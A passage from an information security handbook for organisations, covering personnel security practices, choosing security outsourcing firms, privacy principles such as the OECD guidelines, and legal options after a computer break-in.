All users should sign a form acknowledging the receipt of this information, and their acceptance of its restrictions. These forms should be retained. Later, if any question arises as to whether the employee was given prior warning about what was allowed, there will be proof.

Ongoing Training and Awareness

Periodically, users should be presented with refresher information about security and appropriate use of the computers. This retraining is an opportunity to explain good practice, remind users of current threats and their consequences, and provide a forum to air questions and concerns.

Your staff should also be given adequate opportunities for ongoing training. This training should include support to attend professional conferences and seminars, subscribe to professional and trade periodicals, and obtain reference books and other training materials. Your staff must also be given sufficient time to make use of the material, and positive incentives to master it.

Coupled with periodic education, you may wish to employ various methods of continuing awareness. These methods could include putting up posters or notices about good practice, having periodic messages of the day with tips and reminders, having an "Awareness Day" every few months, or having other events to keep security from fading into the background.

Of course, the nature of your organization, the level of threat and possible loss, and the size and nature of your user population should all be factored into your plans. The cost of awareness activities should also be considered and budgeted in advance.

Performance Reviews and Monitoring

The performance of your staff should be reviewed periodically. In particular, the staff should be given credit and rewarded for professional growth and good practice. At the same time, problems should be identified and addressed in a constructive manner. You must encourage staff members to increase their abilities and enhance their understanding.

You also want to avoid creating situations in which staff members feel overworked, underappreciated, or ignored. Creating such a working environment can lead to carelessness and a lack of interest in protecting the interests of the organization. The staff could also leave for better opportunities. Or worse, the staff could become involved in acts of disruption as a matter of revenge. *Overtime must be an exception and not the rule, and all employees—especially those in critical positions—must be given adequate holiday and vacation time*. Overworked, chronically tired employees are more likely to make mistakes, overlook problems, and become emotionally fragile. They also tend to suffer stress in their personal lives — families and loved ones might like to see them occasionally. Overstressed, overworked employees are likely to become disgruntled, and that does not advance the cause of good security.

In general, users with privileges should be monitored for signs of excessive stress, personal problems, or other indications of difficulties. Identifying such problems and providing help, where possible, is at the very least humane. Such practice is also a way to preserve valuable resources—the users themselves, and the resources to which they have access.

Auditing Access

Ensure that auditing of access to equipment and data is enabled, and is monitored. Furthermore, ensure that anyone with such access knows that auditing is enabled. Many instances of computer abuse are spontaneous in nature. If a possible malefactor knows that the activity and access are logged, he might be discouraged in his actions.

Audit is not only done via the computer. Logs of people entering and leaving the building, electronic lock audit trails, and closed-circuit TV tapes all provide some accountability.

At the same time, we caution against routine, surreptitious monitoring. People do not like the idea that they might not be trusted and could be covertly watched. If they discover that they are, in fact, being watched, they may become very angry and may even take extreme action. In some venues, labor laws and employment contracts can result in the employer's facing large civil judgments.

Simply notifying employees they are being monitored is not sufficient if the monitoring is too comprehensive. Some studies have shown that employees actually

misbehave more and are less productive when they are monitored too extensively. This is true whether you are monitoring how often they take coffee breaks, timing every phone call, or keeping a record of every web site visited.

The best policies are those that are formulated with the input of the employees themselves, and with personnel from your human resources department (if you have one).

Least Privilege and Separation of Duties
Consider carefully the time-tested principles of least privilege and separation of duties. These should be employed wherever practical in your operations.

Least privilege
This principle states that you give each person the minimum access necessary to do his or her job. This restricted access is both logical (access to accounts, networks, programs) and physical (access to computers, backup tapes, and other peripherals). If every user has accounts on every system and has physical access to everything, then all users are roughly equivalent in their level of threat.

Separation of duties
This principle states that you should carefully separate duties so that people involved in checking for inappropriate use are not also capable of making such inappropriate use. Thus, having all the security functions and audit responsibilities reside in the same person is dangerous. This practice can lead to a case in which the person may violate security policy and commit prohibited acts, yet in which no other person sees the audit trail to be alerted to the problem.

Limit Your Reliance on Key Employees
No one in an organization should be irreplaceable, because no human is immortal. If your organization depends on the ongoing performance of a key employee, then your organization is at risk. Organizations cannot help but have key employees. To be secure, organizations should have written policies and plans established for unexpected illness or departure.

In one case that we are familiar with, a small company with 100 employees had spent more than 10 years developing its own custom-written accounting and order entry system. The system was written in a programming language that was not readily known, originally provided by a company that had possibly gone out of business. Two people understood the organization's system: the MIS director and her programmer. These two people were responsible for making changes to the account system's programs, preparing annual reports, repairing computer equipment when it broke, and even performing backups (which were stored, off-site, at the MIS director's home office).

What would happen if the MIS director and her programmer were killed one day in a car accident on their way to meet with a vendor? What would happen if the MIS director were offered a better job, at twice the salary? What if the programmer, unable to advance in his position because of the need to keep a key employee in his role, became frustrated and angry at the organization?

That key personnel are irreplaceable is one of the real costs associated with computer systems—one that is rarely appreciated by an organization's senior management. The draw-backs of this case illustrate one more compelling reason to use off-the-shelf software, and to have established written policies and procedures, so that a newly hired replacement can easily fill another's shoes.

Absence and Departure
People leave jobs, sometimes on their own, and sometimes involuntarily—as a result of many circumstances, including death or physical incapacitation. In the shorter term, people also take vacations or are absent for family or other personal reasons. In any such cases, you should have a defined set of actions for how to handle the departure or absence. This procedure should include shutting down accounts (not for absence); forwarding e-mail to appropriate parties; changing critical passwords, phone numbers, and combinations; checking voice mail accounts; and otherwise removing access to your systems.

In some environments, this suggestion may be too drastic. In the case of a university, for instance, graduated students might be allowed to keep accounts active for months or years after they leave. If an employee is out on vacation or absent for illness for a few days, you will not shut down his or her account, or change passwords and phone numbers. However, in other environments,

a departure is quite sudden and dramatic. Someone may show up at work, only to find the locks changed and a security guard waiting with a box containing everything that was in the user's desk drawers. The account has already been deleted; all system passwords have been changed; and the user's office phone number is no longer assigned. This form of separation management is quite common in financial service industries, and is understood to be part of the job. Usually, these are employees hired "at will" and with contracts stating that such a course of action may occur for any reason — or no stated reason at all. Use your common sense; in each case, you must determine exactly what the policy on access should be and articulate that clearly to the employees and the people responsible for implementing that policy.

Security Concerns with Other Personnel

Other people who have access to your system may not all have your best interests in mind — or they may simply be ignorant of the damage they can wreak. We've heard stories about home environments where playmates of children have introduced viruses into home office systems, and where spouses have scoured disks for evidence of marital infidelity—and then trashed systems where they have found it. In business environments, there are stories of cleaning staff and office temps who have been caught sabotaging or snooping on company computers.

You may not be able to choose your family, but you can have some impact on who accesses the computers at your company location. Visitors, maintenance personnel, contractors, vendors, and others may all have temporary or semi-permanent access to your location and to your systems. You should consider how everything we discussed earlier can be applied to these people with temporary access. At the very least, no one from the outside should be allowed unrestricted physical access to your computer and network equipment.

Examples of people whose backgrounds should be examined include:

- System operators and administrators
- Temporary workers and contractors who have access to the system
- Cleaning and maintenance personnel
- Security guards
- Delivery personnel who have regular or unsupervised access
- Consultants
- Auditor and other financial personnel

All personnel who do have access should be trained about security and loss prevention and should be periodically retrained. Personnel should also be briefed on incident response procedures and on the penalties for security violations.

Don't forget your family! Whether you are protecting a home system or occasionally have your kids visit your office, it is important that they understand that the computer is not a toy. They should be taught to leave business-critical machines and media alone. Having strong passwords and screensavers in place can be a major help. Additionally, teach your family members about not discussing your business computing environment with strangers.

CHAPTER 7.
SECURITY OUTSOURCING

At a Glance

Outsourcing is one option for managers in public, private, and non-profit entities who are concerned with their capacity to respond to the security threats discussed in this Handbook. While it may be a good solution for some organizations, the selection of outsourcing firms must be done carefully and the new security partners should be monitored for performance on a regular basis. This chapter covers some of the benefits and drawbacks of security outsourcing and suggests a series of questions that should be asked before an arrangement is finalized.

Outsourcing as an Alternative to "Doing it Yourself"

After reading through all the material in these chapters, you may have realized that your policies and plans are in good shape, or you may have identified some things to do, or you may be daunted by the whole task. If you are in that last category don't decide that the situation is beyond your ability to cope! There are other approaches to formulating your policies and plans, and in providing security at your site: through outsourcing, consultants, and contractors. Even if you are an individual with a small business at home, or a small firm dependent on ICTs, you can take advantage of shared expertise —security firms that are able to employ a group of highly-trained and experienced personnel who would not be fully utilized at any one site, and share their talents with a collection of clients whose aggregate needs match their capabilities.

On the other hand, if you have strong information technology skills, you may consider starting your own firm to supply expertise and training to others in need of those services. There is significant business potential in such enterprises; as there are not enough information security experts available to meet all the needs of industry and government worldwide.[58] Thus, in the West, there has been a boom in the deployment of consultants and outsourced services to help organizations of all sizes meet their information security needs. As with many other outsourced services, some are first-rate and comprehensive, others are overspecialized, and some are downright deficient. Sadly, the state of the field is such that some poor offerings are not recognized as such either by the customers or by the well- intentioned people offering them!

If you have not yet formulated your policies and built up your disaster recovery and incident response plans, we recommend that you get outside assistance in formulating them. What follows, then, is our recommendations for organizations that seek to employ outside security professionals for formulating and implementing security policies. There are a number of international organizations that provide assistance to developing countries in the field of IT deployment; if such expertise is available, it can be valuable in terms of both short-term support and longer term capacity building (education and training) for the local population.

Formulating Your Plan of Action

The first thing to do is decide what services you need:

Will you provide your own in-house security staff?

If so, you may only need consultants to review your operations to ensure that you haven't missed anything important.

Perhaps you have some in-house expertise, but are worried about demands on their time, or their ability to respond to a crisis?

Then you may be in the market for an outside firm to place one or more contractors on site with you, full or part-time. Or, you might simply want to engage the services of a remote monitoring and response firm to watch your security and assist in the event of an incident.

Or perhaps you can't afford a full-time staff, or you aren't likely to need such assistance?

[58] The lack of trained security experts is a result, in part, of the lack of personnel and resources to support infor-mation security education at colleges and universities. Government and industry claim that this is an area of importance, but they have largely failed to put any real resources into play to help build up the field.

In this case, having a contract with a full-service consulting and monitoring firm may be more cost-effective and provide you with what you need.

The key in each of these cases is to understand what your needs are and what the services provide. This is not always simple, because unless you have some experience with security and know your environment well, you may not really understand your needs.

Choosing a Vendor

Your experience with outsourcing policy decisions will depend, to a great extent, on the individuals or organizations that you choose for the job.

Get a referral; insist on references
Because of the tremendous variation among consulting firms, one of the best ways to find a firm that you like is to ask for a referral from a friendly organization that is similar to yours. Sadly, it is not always possible to get a referral. Many organizations engage consulting firms that they first meet at a trade show, read about in a news article, or even engage after receiving a "cold-call" from a salesperson.

Clearly, an outsourcing firm is in a position to do a tremendous amount of damage to your organization. Even if the outsourcing firm is completely honest and reasonably competent, if you trust them to perform a function and that function is performed inadequately, you may not discover that anything is wrong until months later when you suffer the consequences — and after your relationship with the firm is long over.

For this reason, when you are considering a firm, you should:

Check references

Ask for professional references that have engaged the firm or individual to perform services that are similar to those that you are considering

Check people

If specific individuals are being proposed for your job, evaluate them using the techniques that we outline in the later "People" section. Be wary of large consulting firms that will not give you the names of specific individuals who would work on your account until after you sign a retainer with them.

Be concerned about corporate stability

If you are engaging an organization for a long-term project, you need to be sure that the organization will be there in the long-term. This is not to say that you should avoid hiring young firms and startups; you should simply be sure that the organization has both the management and the financial backing to fulfill all of its commitments. Beware of consulting firms whose prices seem too low — if the organization can't make money selling you the services that you are buying, then they need to be making the money somewhere else.

Beware of soup-to-nuts

Be cautions about "all-in-one" contracts where a single firm both provides you policies and then sells you services and hardware to implement the policies. We have heard stories of such services where the policy and plan needs for every client are suspiciously alike, and all involve the same basic hardware and consulting solutions. If you pick a firm that does not lock you into a long-term exclusive relationship, then there may be a better chance that the policies they formulate for you will actually match your needs, rather than the equipment that they are selling.

Insist on breadth of background

You should be equally cautious of firms in which the bulk of their experience is with a specific kind of customer or software platform — unless your organization precisely matches the other organizations that the firm has had as clients. For example, a consulting firm that primarily offers outsourced security services to medium-sized police departments running Microsoft Windows may not be the best choice for a pharmaceutical firm with a mixed Windows and Unix environment. The consulting firm may simply lack the breadth to offer truly comprehensive policy services for your environment. That isn't to say that people with diverse background can't provide you with an appropriate perspective, but you need to be cautious if there is no obvious evidence of that "big picture" view.

At a minimum, their personnel should be familiar with:

1. Employment law and management issues that may predict conditions under which insiders may harbor a grudge against their employer
2. National and local computer crime laws
3. Encryption products, technologies, and limitations
4. Issues of viruses, worms, and other malicious software, as well as scanning software
5. TCP/IP fundamentals and issues of virtual private networks (VPNs) and firewalls
6. Awareness and educational issues, materials and services
7. Issues of incident response and forensic investigation
8. Security issues peculiar to your hardware and software
9. Best practices, formal risk assessment methodologies, and insurance issues

Any good security policy consulting service should have personnel who are willing to talk about (without prompting) the various issues we have discussed in this Handbook, and this chapter in particular. If they are not prepared or able to discuss these topics, they may not be the right service for you.

If you have any concerns, ask to see a policy and procedures document prepared for another customer. Some firms may be willing to show you such documentation after it has been sanitized to remove the other customer's name and other identifying aspects. Other firms may have clients who have offered to be "reference clients," although some firms may insist that you sign a non-disclosure agreement with them before specific documents will be revealed. Avoid any consulting firm that shares with you the names and documents of other clients without those clients' permission. Finally, if you have hired outside experts, one of the conditions of your contract should be that they will help develop local capacity at your organization and, possibly, in your area. It is quite natural that foreign expertise may be needed during transitional periods of learning in developing countries. Ideally, you will capitalize on these relationships to transfer knowledge and build local capacity and national expertise when possible.

Qualifications of IT Security Personnel

Most importantly, you need to be concerned about the actual people who are delivering your security policy and implementation services. In contrast to other consulting services, you need to be especially cautious of consultants who are hired for security engagements — because hiring outsiders almost always means that you are granting them some level of privileged access to your systems and your information.

As we noted earlier, there aren't enough real experts to go around. This means that sometimes you have to go with personnel whose expertise isn't quite as comprehensive as you would like, but who have as much as you can afford. Be careful of false claims of expertise, or of the wrong kind of expertise. It is better to hire an individual or firm that admits they are "learning on the job" (and, presumably, lowering their fee as a result), than to hire one that is attempting to hide employee deficiencies.

In the developed world, today's security market is filled with people who have varying amounts of expertise in securing Windows platforms. Expertise in other platforms, including Unix, is more limited. A great deal can be learned from books, but that is not enough. Look for qualifications by the personnel in areas that are of concern. In particular:

Certification

Look for certifications. In addition, make sure that those certifications are actually meaningful. Some certifications can essentially be purchased: one need only attend a series of classes or online seminars, memorize the material, and take a test. These are not particularly valuable. Other certifications require more in-depth expertise.

Certification is an evolving field, so we hesitate to cite current examples. Although it's not everything we would like it to be, the CISSP certification[59] is one valid measure of a certain level of experience and expertise in security.[60]

[59] See the web portal for CISSP at: http://www.cissps.com/
[60] See also, CISA (Certified Information Systems Auditor) and CISM (Certified Information Security Manager) designations from ISACA at: www.isaca.org

Education

Check educational backgrounds. Some people with excellent computer skills are self-taught and others will have degrees from colleges or university programs in computing sciences or computer engineering. In the global context, the level of skill may be more important that degrees received. However, honesty about educational achievement is important; as we mentioned previously in the personnel section, do check to see that claims of education match reality. In the U.S., the National Security Agency has designated a limited number of educational institutes as "Centers of Educational Excellence" in the field of information security. In July 2002, that list included pioneering infosec programs at George Mason University; James Madison University; Idaho State; Iowa State; the Naval Postgraduate School; Purdue University, the University of California at Davis; and the University of Idaho. There are many IT initiatives underway around the world; check your local resources, including universities, to see where similar centers may be located. In addition, select organization references have been provided in the Annexes of this Handbook.

Reputation

If someone has written a widely-used piece of software or authored a well-known book on a security topic such as viruses or cryptography, that does not mean that he or she knows the security field as a whole. Some authors really do have a far-rang-ing and deep background in security. Others are simply good writers or programmers. Be aware that having a reputation doesn't necessarily imply competency at consulting.

Bonding and insurance

Ask if the personnel you want to hire are bonded or insured. This indicates that an outside agency is willing to back the competency and behavior of the people. This may not ensure that the consultant is qualified, but it does provide some assurance that they are not criminals.

Affiliations

Ask what professional organizations they belong to and are in good standing with. ACM, ASIS, CSI, IEEE, and USENIX are all worthy of note. These organizations provide members with educational materials and professional development opportunities. Many of them also promote standards of professional behavior that are worthy of note. If your subject claims membership only in groups like "The 133t Hax0r Guild" or similar, you may wish to look elsewhere for expertise.

"Reformed" hackers

We recommend against hiring individuals and organizations who boast that they employ "reformed hackers" as security consultants.[61] Although it is true that some people who once engaged in computer misdeeds (either "black hat" or "gray hat") can turn their lives around and become productive members of society, you should be immediately suspicious of individuals who tout previous criminal activity as a job qualification and badge of honor.

Specifically:

1. Individuals with a record of flaunting laws, property ownership, and privacy rights do not seem to be good prospects for protecting property, privacy, and safeguarding your resources. Would you hire a convicted arsonist to design your fire alarm system? Would you hire a convicted (but "reformed") pedophile to run your company daycare center? Not only are these bad ideas, but they potentially open you up to civil liability should a problem occur — after all, you knew the history and hired them anyway. The same is true for hiring "darkside but reformed" hackers.
2. Likewise, we believe that you should be concerned about individuals who refuse to provide you with their legal names in the course of the interview process, but instead use consulting handles such as "HackExpert" and "Demon Dialer." Mr. Dialer may in fact be an expert in how to penetrate an organization using a telephone system. But one of the primary reasons that people use pseudonyms is so that they cannot be held responsible for their actions. It is much easier (and a lot more common)

[61] See statistics on U.S. corporations who would hire reformed hackers in the 2003 CSI/FBI Computer Crime and Security Survey: http://i.cmpnet.com/gocsi/db_area/pdfs/fbi/FBI2003.pdf

to change a handle if you soil its reputation than it is to change your legal name.

3. Finally, many of today's "hackers" really aren't that good, anyway — they are closer in both their manner and their *modus operandi* to today's street thugs than they are to today's computer programmers and system architects. It's the poor quality of today's operating systems, the lack of security procedures, and the widespread availability of automated penetration tools that makes it possible for today's attackers to compromise systems. Just as somebody with a record of carjackings is probably not a skilled race car driver and engine designer, somebody who knows how to scam "warez" and launch denial-of-service attacks probably lacks a fundamental understanding of the security needed to keep systems safe.

Monitoring Services

Monitoring services can be a good investment if your overall situation warrants. Common services provided on an ongoing basis include on-site administration via contractors, both on-site and off-site monitoring of security, on-call incident response and forensics, and maintenance of a hot-spare/fallback site to be used in the event of a site disaster. But in addition to being concerned about the individuals who provide consulting services, you also need to be cautious about what hardware and software they intend to use.

Many of the monitoring and response firms have hardware and software they will want to install on your network. They use this to collect audit data and manipulate security settings. You need to be cautious about this technology because it is placed in a privileged position inside your security perimeter. In particular, you should:

1. Ensure that you are given complete descriptions, in writing, of the functionality of every item placed on your network or equipment. Be certain you understand how it works and what it does.

2. Get a written statement of responsibility for failures. If the inserted hardware or software exposes your data to the outside world or unexpectedly crashes your systems during peak business hours, you should not then discover that you have agreed that the vendor has no liability.

3. Ensure that due care has been taken in developing, testing and deploying the technology being added to your systems, especially if it is proprietary in design. In particular, given Microsoft's record of software quality and security issues, we would suggest that you give very careful thought to using any company that has decided to base their security technology on Microsoft products, though the company is working to patch flaws in their most popular products.

4. Understand whether their technology actually helps to prevent problems from occurring, or only detects problems after they have happened (e.g., intrusion prevention versus intrusion detection).

Final Words on Outsourcing

Using outside experts can be a smart move to protect yourself. The skills needed to write policies, monitor your intrusion detection systems and firewalls, and prepare and execute a disaster recovery plan are specialized and uncommon. They may not be available among your current staff. Performing these tasks correctly can make the difference between staying in business or having some flashy and exciting failures.

At the same time, the field of security consulting is fraught with danger because it is new and not well understood. Charlatans, frauds, naifs, and novices are present and sometimes difficult to distinguish from the many reliable professionals who are working diligently in the field. Time will help sort out the issues, but in the meantime it pays to invest some time and effort in making the right selection.

We suggest that one way to help protect yourself and take advantage of the growth of the field is to avoid entering into long-term contracts unless you are very confident in your supplier. The security consulting landscape is likely to change a great deal over the next few years, and having the ability to explore other options as those changes occur is likely to be to your benefit.

Last of all, simply because you contract for services to monitor your systems for misuse, don't lose site of the need to be vigilant to the extent possible, and to build your systems to be stronger. As the threats become more sophisticated, so do the defenders... and potential victims.

CHAPTER 8.
PRIVACY POLICIES, LEGISLATION, AND GOVERNMENT REGULATION

At a Glance

This chapter provides an overview of public policies that are directly related to business, non—profit, and governmental operations in a networked world. There are some examples of legislation that has been designed to protect citizens, customers, and children from identity theft, fraud, and obscene content; Part 4 contains a deeper discussion of regulatory issues in "cyberspace," here we are focusing on organizational responsibility for interactions with the public. This chapter will focus, in brief, on issues that are relevant in the e-commerce and e-finance contexts.

The Business-Customer Relationship in a Digital World

Online businesses know a lot about their customers. An online merchant knows every product that you look at, every product that you put in your "shopping cart" but later take out, and anything that you've ever purchased from them online. Online merchants also know when you shop, if you shop from home or from work, and—if they care—what your credit rating is. Furthermore, unlike the offline world, an online merchant can correlate your shopping profile with your web browsing habits.

Potentially Internet service providers could learn even more about their customers because all information that an Internet user sees must first pass through the provider's computers. ISPs could also determine the web sites that their users frequent—and even the individual articles that have been viewed. They could analyze e-mail messages for keywords. By tracking this information, an Internet provider could tell if its users are interested in boats or cars, whether they care about fashion, or even if they are interested in particular medical diseases.

Policies That Protect Privacy and Privacy Policies

What standards should online businesses and organizations follow with regard to the personally identifiable information that they gather?

In the United States, consumer rights were first addressed clearly through the passage of the Fair Credit Reporting Act in 1970. This law gave consumers fundamental rights, including the right to see their credit reports; the right to know the third-parties to whom their reports had been disclosed; the right to force credit reporting agencies to re-investigate "errors" detected by consumers; the right to force the agencies to include a statement from the consumer on reports that were in dispute; and a sunset provision requiring credit reporting agencies to purge information on a consumer's report that was more than seven years old (ten years for information regarding bankruptcies). In 1973, the Code of Fair Information Practices was produced to supplement the discussion of consumer rights in an age when computers were beginning to hold more personal data.

The Code of Fair Information Practices[62]

The Code of Fair Information Practices is based on five principles:

- There must be no personal data record-keeping systems whose very existence is secret.
- There must be a way for a person to find out what information about the person is in a record and how it is used.
- There must be a way for a person to prevent information about the person that was obtained for one purpose from being used or made available for other purposes without the person's consent.
- There must be a way for a person to correct or amend a record of identifiable information about the person.
- Any organization creating, maintaining, using, or disseminating records of identifiable personal data must assure the reliability of the data for its intended use and must take precautions to prevent misuses of the data.

[62] Source: U.S. Department of Health, Education, and Welfare, 1973.

In the United States, Congress continued to pass legislation regulating the use of personal information. Over time, banking records, telephone, Internet, and cable subscriber records, medical records, educational records, and even video-tape rental records all came under protection by U.S. Congressional action. However, each of these pieces of legislation offered different protections and was enforced by a different part of the federal government. Some acts, like the antijunk-fax Telephone Consumer Privacy Act, did not have any enforcement mechanism at all other than private lawsuits.Things were different in Europe. Building on the experience of World War II, during which personal records were misused by the Nazis, most European governments created an institutional framework for regulating the collection and use of personal information. The Europeans extended the ideas expressed in the Code of Fair Information Practices into an overall system that was termed *data protection*.

OECD Guidelines

In 1980, the Organization for Economic Development and Cooperation (OECD) adopted an expanded set of privacy guidelines. These guidelines were designed, in part, to harmonize the growing number of privacy regulations throughout the industrialized world. The guidelines were also specifically designed to deal with the growing problem of transborder data flows—the movement of personal information from one coun-try, where that data might be highly protected, to another country that might have lesser protections. The OECD Guidelines on the Protection of Privacy and Transborder Flows of Personal Data consist of eight principles:

Collection Limitation Principle

There should be limits to the collection of personal data, and any such data should be obtained by lawful and fair means and, where appropriate, with the knowledge or consent of the data subject.

Data Quality Principle

Personal data should be relevant to the purposes for which it is to be used, and, to the extent necessary for those purposes, should be accurate, complete, and kept up to date.

Purpose Specification Principle

The purposes for which personal data is collected should be specified not later than at the time of data collection and the subsequent use limited to the fulfillment of those purposes or such others as are not incompatible with those purposes and as are specified on each occasion of change of purpose.

Use Limitation Principle

Personal data should not be disclosed, made available, or otherwise used for pur-poses other than those specified in accordance with the previous principle except:

- With the consent of the data subject, or
- By the authority of law.

Security Safeguards Principle

Personal data should be protected by reasonable security safeguards against such risks as loss or unauthorized access, destruction, use, modification, or disclosure of data.

Openness Principle

There should be a general policy of openness about developments, practices, and policies with respect to personal data. Means should be readily available of establishing the existence and nature of personal data, and the main purposes of their use, as well as the identity and usual residence of the data controller.

Individual Participation Principle

An individual should have the right:

- To obtain from a data controller, or —otherwise, confirmation of whether or not the data controller has data relating to him;
- To have communicated to him, data relating to him:
  - o Within a reasonable time;
  - o At a charge, if any, that is not excessive;
  - o In a reasonable manner; and
  - o In a form that is readily intelligible to him;
- To be given reasons if a request made specified as above is denied, and to be able to challenge such denial; and

- To challenge data relating to him and, if the challenge is successful to have the data erased, rectified, completed, or amended.

Accountability Principle

A data controller should be accountable for complying with measures that give effect to the principles stated above.

The OECD Guidelines do not have the force of law, but are instead used as guidelines for each OECD member country when passing its own laws.

See Part 3, Chapter 11 for a simple checklist on data protection measures that may be taken if you gather information about potential customers on your web site.

CHAPTER 9. COMPUTER CRIME

At a Glance

We hope that you will never have to act on the information in this Chapter. You may have studied this Handbook diligently and taken every reasonable step toward protecting your system–yet someone has still abused it. Perhaps an ex-employee has broken in through an old account and has deleted some records. Perhaps someone from outside continues to try to break into your system despite warnings that they should stop. What recourse do you have through the courts? Furthermore, what are some of the particular dangers you may face from the legal system during the normal operation of your computer system? What happens if you are the target of legal action? This chapter attempts to illuminate some of these issues. The material we present should be viewed as general advice, and not as legal opinion: for that, you should contact good legal counsel and have them advise you.

Your Legal Options After a Break-In

If you suffer a break-in or criminal damage to your system, you may have a variety of recourses under the your legal system. This chapter cannot advise you on the many subtle aspects of the law. There are many differences in legal systems and laws from country to country, as well as different laws that apply to computer systems used for different purposes. Laws outside the United States vary considerably from jurisdiction to jurisdiction; we won't attempt to explain anything beyond the U.S. system.[63] However, we should note that the global reach of the Internet may bring laws to bear that have their origin outside the U.S.

Discuss your specific situation with a competent lawyer before pursuing *any* legal recourse. Because there are difficulties and dangers associated with legal approaches, you should be sure that you want to pursue this course of action before you go ahead.

In some cases, you may have no choice; you may be required to pursue legal action. For example:

- If you want to file a claim against your insurance policy to receive money for damages resulting from a break-in, you may be required by your insurance company to pursue criminal or civil actions against the perpetrators.
- If you are involved with classified data processing, you may be required by government regulations to report and investigate suspicious activity.
- If you are aware of criminal activity and you do not report it, you may be criminally liable as an accessory. This is especially true if your computer is being used for the illegal activity.
- If your computer is being used for certain forms of unlawful or inappropriate activity and you do not take definitive action, you may be named as a defendant in a civil lawsuit seeking punitive damages.
- If you are an executive of a public company and decide not to investigate and prosecute illegal activity, shareholders of your corporation can bring suit against you.
- If you are an executive of a private company, though you do not have shareholders, it may be possible for suppliers, partners, or customers to bring suit against you, depending on the laws on computer crime in your country.

If you are working in a company and believe that your system is at especially high risk for attack, you should probably speak with your organization's legal counsel as part of your security incident preplanning before you have an incident. Organizations have different policies regarding when law enforcement should or should not be involved. By doing your homework, you increase the chances that these policies will actually be followed when they are needed.

To provide some starting points for discussion, this section gives an overview of a few issues you might want to consider.

[63] A more extensive, although dated, discussion of legal issues in the United States can be found in *Computer Crime: A Crimefighter's Handbook* (O'Reilly), and we suggest you start there if you need more explanation than we provide in this chapter. The book is out of print, but used copies are available.

Filing a Criminal Complaint

In the United States, you are free to contact law enforcement personnel any time you believe that someone has broken a criminal statute. You start the process by making a formal complaint to a law enforcement agency. A prosecutor may be asked to decide if the allegations should be investigated and what charges should be filed, if any.

In some cases—perhaps a majority of them—criminal investigation will not help your situation. If the perpetrators have left little trace of their activity and the activity is not likely to recur, or if the perpetrators are entering your system through a computer in a foreign country, you probably will not be able to trace or arrest the individuals involved. Many experienced computer intruders will leave little tracing evidence behind.[64]

If you do file a complaint, there is no guarantee that the agency will actually conduct a criminal investigation. The prosecutor involved (federal, state, or local) decides which, if any, laws have been broken, the seriousness of the crime, the availability of trained investigators, and the probability of a conviction. Remember that the criminal justice system is overloaded; new investigations are started only for severe violations of the law or for cases that warrant special treatment. A case in which $200,000 worth of data is destroyed is more likely to be investigated than a case in which someone is repeatedly scanning your home computer through your cable modem.

If an investigation is conducted, you may be involved with the investigators or you may be completely isolated from them. You may even be given erroneous information—that is, you may be told that no investigation is taking place, even though a full-scale investigation is in the works. Many investigations are conducted on a "need to know" basis, occasionally using classified techniques and informants. If you are told that there is no investigation and in fact there is one, the person who gives you this information may be deliberately misinforming you, or they themselves may simply not have the "need to know."

Investigations can place you in an uncomfortable and possibly dangerous position. If unknown parties are continuing to break into your system by remote means, law enforcement authorities may ask you to leave your system open, thus allowing the investigators to trace the connection and gather evidence for an arrest. Unfortunately, if you leave your system open after discovering that it is being misused, and the perpetrator uses your system to break into or damage another system elsewhere, you may be the target of a third-party lawsuit. Cooperating with law enforcement agents is not a sufficient shield from such liability. Investigate the potential ramifications before putting yourself at risk in this way.

Contacting the Relevant Authorities

Depending on the criminal and legal systems in your country, there may be specific processes for contacting local or state authorities in the case of computer crime. The following are general suggestions, but it will be most effective if you follow the customs appropriate to your region.

- You might approach local or state authorities first, if possible. If your local law enforcement personnel believe that the crime is more appropriately investigated by the Federal government, they will suggest that you contact them. Unfortunately, some local law enforcement agencies may be reluctant to seek outside help or to bring in Federal agents. This may keep your particular case from being investigated properly.
- Local authorities may be more responsive because you are not as likely to be competing with a large number of other cases (as frequently occurs in the United States at the federal level). Local authorities may be more likely to be interested in your problem, no matter how small the problem may be.
- At the same time, although some local authorities are tremendously well-versed in computers and computer crime, even in the U.S., local authorities generally have less expertise than state and federal authorities and may be reluctant to take on high-tech investigations. Many federal agencies have expertise that can be brought in quickly to help deal with a problem.

[64] Although few computer intruders are as clever as they believe themselves to be.

- In the U.S., state authorities may be more interested than federal authorities in investigating and prosecuting juveniles. If you know that you are being attacked by a juvenile who is in your state, you may be better off dealing with local authorities. In some cases, you may find that it is better to bypass the legal system entirely and speak with the juvenile's parents or teachers (or have an attorney or imposing police officer speak to them).

Hazards of Criminal Prosecution

There are many potential problems in dealing with law enforcement agencies, not the least of which is their experience with computers, networking, and criminal-related investigations. Computer-illiterate agents may sometimes seek your assistance to try to understand the subtleties of the case. Other times, they may ignore your advice—perhaps to hide their own ignorance, and often to the detriment of the case and the reputation of the law enforcement community. Note that there is always the possibility that the "victim" in a crime is also involved in criminal activity. In general, it is poor practice for an investigator to accept advice from the victim without some level of suspicion, and this is no different in the case of cybercrime.

If you or your personnel are asked to assist in the execution of a search warrant to help identify material to be searched, be sure that the court order directs such "expert" involvement. Otherwise, you might find yourself complicating the case by appearing to be an overzealous victim. You may benefit by recommending an impartial third party to assist the law enforcement agents.

The attitude and behavior of the law enforcement officers can sometimes cause major problems. Your equipment might be seized as evidence or held for an unreasonable length of time for examination—even if you are the victim of the crime. If you are the victim and are reporting the case, the authorities will usually make every attempt to coordinate their examinations with you, to cause you the least amount of inconvenience. However, if the perpetrators are your own employees, or if regulated information is involved (bank, military, etc.), you might have no control over the manner or duration of the examination of your systems and media. This problem becomes more severe if you are dealing with agents who need to seek expertise outside their local offices to examine the material. Be sure to keep track of downtime during an investigation as it may be included as part of the damages during prosecution and any subsequent civil suit—suits that may be waged against either your attacker or, in some cases, against the law enforcement agency itself.

Your site's backups can be extremely valuable in an investigation. You might even make use of your disaster-recovery plan and use a standby or spare site while your regular system is being examined.

Heavy-handed or inept investigative efforts may also place you in an uncomfortable position with respect to the computer community. Many computer users harbor negative attitudes toward law enforcement officers—these feelings can easily be redirected toward you if you are responsible for bringing the "outsiders" in. Such attitudes can place you in a worse light than you deserve, and hinder cooperation not only with the current investigation but with other professional activities. Furthermore, they may make you a target for electronic attack or other forms of abuse after the investigation concludes.

These attitudes are unfortunate, because there are some very good investigators, and careful investigation and prosecution may be needed to stop malicious or persistent intruders. We can report that this situation seems to have gotten better in recent years, so this is less of a concern than it was a decade ago. As time goes on, and as more people realize the damage done by intruders, even those without malicious intent, we expect to see the antipathy towards law enforcement fade even more.

